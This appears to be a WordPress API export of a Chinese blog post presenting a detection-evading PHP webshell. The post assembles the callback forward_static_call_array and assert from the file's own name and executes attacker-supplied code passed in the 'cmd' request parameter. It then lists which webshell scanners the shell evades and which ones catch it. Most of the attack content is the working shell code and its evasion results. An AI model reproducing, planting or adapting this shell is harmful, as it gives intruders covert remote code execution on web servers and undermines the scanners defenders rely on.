{"id":245,"date":"2022-02-18T23:21:44","date_gmt":"2022-02-18T15:21:44","guid":{"rendered":"https:\/\/aaaahui.top\/?p=245"},"modified":"2022-08-13T21:26:27","modified_gmt":"2022-08-13T13:26:27","slug":"php-webshell-bypass3","status":"publish","type":"post","link":"https:\/\/ahui.blog\/index.php\/2022\/02\/18\/php-webshell-bypass3\/","title":{"rendered":"PHP\u5947\u5947\u602a\u602a\u7684\u514d\u6740WEBSHELL"},"content":{"rendered":"<p><strong>\u4e00\u3001\u7528\u5b57\u7b26\u4e32\u5904\u7406\u3001\u62fc\u63a5\u7684\u64cd\u4f5c\uff0c\u8981\u4e48\u5b57\u7b26\u4e32\u6765\u6e90\u4e8ewebshell\u672c\u8eab\uff0c\u8981\u4e48\u6765\u6e90\u4e8e\u5916\u90e8\u4f20\u5165\uff0c\u6765\u6e90\u4e8e\u5185\u90e8\u5bb9\u6613\u88ab\u53d1\u73b0\uff0c\u6765\u6e90\u4e8e\u5916\u90e8\u53c8\u4f1a\u88ab\u76ef\u5f97\u6bd4\u8f83\u6b7b\uff0c\u6240\u4ee5\u6709\u4e86\u8fd9\u4e2a\u60f3\u6cd5\uff0c\u6765\u6e90\u4e8e\u6587\u4ef6\u540d\u3002<\/strong><\/p>\n<p>\u6700\u7ec8\u4f7f\u7528\u56de\u8c03\u51fd\u6570forward_static_call_array\u6765\u6267\u884c\u547d\u4ee4\uff0c\u8c03\u7684\u51fd\u6570\u4e3aassert\uff0c\u6267\u884c\u7684\u547d\u4ee4\u6211\u4eec\u81ea\u5df1\u4f20\u5165\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\n$forward_static_call_array=substr($_SERVER[&#039;PHP_SELF&#039;],1,25);\n$assert=substr($_SERVER[&#039;PHP_SELF&#039;],27,6);\n$forward_static_call_array($assert,array($_REQUEST[&#039;cmd&#039;]));<\/code><\/pre>\n<p>\u6587\u4ef6\u547d\u540d\u4e3a\uff1aforward_static_call_array_assert.php<\/p>\n<p>\u6267\u884c\u6587\u4ef6\u540e\uff0c$_SERVER['PHP_SELF']\u503c\u4e3a\uff1a\/forward_static_call_array_assert.php<\/p>\n<p>\u53d62-26\u4f4d\u8d4b\u503c\u7ed9\u7b2c\u4e00\u4e2a\u51fd\u6570\uff0c\u5373\u56de\u8c03\u51fd\u6570\uff1aforward_static_call_array_assert<\/p>\n<p>\u53d628-33\u4f4d\u8d4b\u503c\u7ed9\u7b2c\u4e8c\u4e2a\u51fd\u6570\uff0c\u5373\u88ab\u56de\u8c03\u51fd\u6570\u8c03\u7528\u7684\u51fd\u6570\uff1aassert<\/p>\n<p>\u7136\u540e\u6267\u884c\u56de\u8c03\u51fd\u6570\uff0c\u4f20\u5165cmd=phpinfo();\u5373\u53ef\u6267\u884c<\/p>\n<p><strong>\u6d4b\u8bd5\u7ed3\u679c\uff1a<\/strong>\u80fd\u8fc7\u6cb3\u9a6c\u3001\u767e\u5ea6\u3001\u957f\u4ead\uff0c\u53ea\u6709D\u76fe\u62a5\u53d8\u91cf\u51fd\u6570\uff0c\u4f46\u662f\uff0c\u7adf\u7136\u4f1a\u88ab\u706b\u7ed2\u68c0\u6d4b\u5230\u3002\u3002\u3002<\/p>\n<p>\u7eaf\u5c5e\u8bb0\u5f55\u4e00\u4e0b\u601d\u8def\uff0c\u5927\u4f6c\u8f7b\u55b7\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u7528\u5b57\u7b26\u4e32\u5904\u7406\u3001\u62fc\u63a5\u7684\u64cd\u4f5c\uff0c\u8981\u4e48\u5b57\u7b26\u4e32\u6765\u6e90\u4e8ewebshell\u672c\u8eab\uff0c\u8981\u4e48\u6765\u6e90\u4e8e\u5916\u90e8\u4f20\u5165\uff0c\u6765\u6e90\u4e8e\u5185\u90e8\u5bb9\u6613\u88ab\u53d1\u73b0\uff0c &#8230; <a title=\"PHP\u5947\u5947\u602a\u602a\u7684\u514d\u6740WEBSHELL\" class=\"read-more\" href=\"https:\/\/ahui.blog\/index.php\/2022\/02\/18\/php-webshell-bypass3\/\" aria-label=\"\u7ee7\u7eed\u9605\u8bfbPHP\u5947\u5947\u602a\u602a\u7684\u514d\u6740WEBSHELL\">\u9605\u8bfb\u66f4\u591a<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[16],"class_list":["post-245","post","type-post","status-publish","format-standard","hentry","category-safety_research","tag-php"],"_links":{"self":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/245","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/comments?post=245"}],"version-history":[{"count":1,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/245\/revisions"}],"predecessor-version":[{"id":247,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/245\/revisions\/247"}],"wp:attachment":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/media?parent=245"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/categories?post=245"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/tags?post=245"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}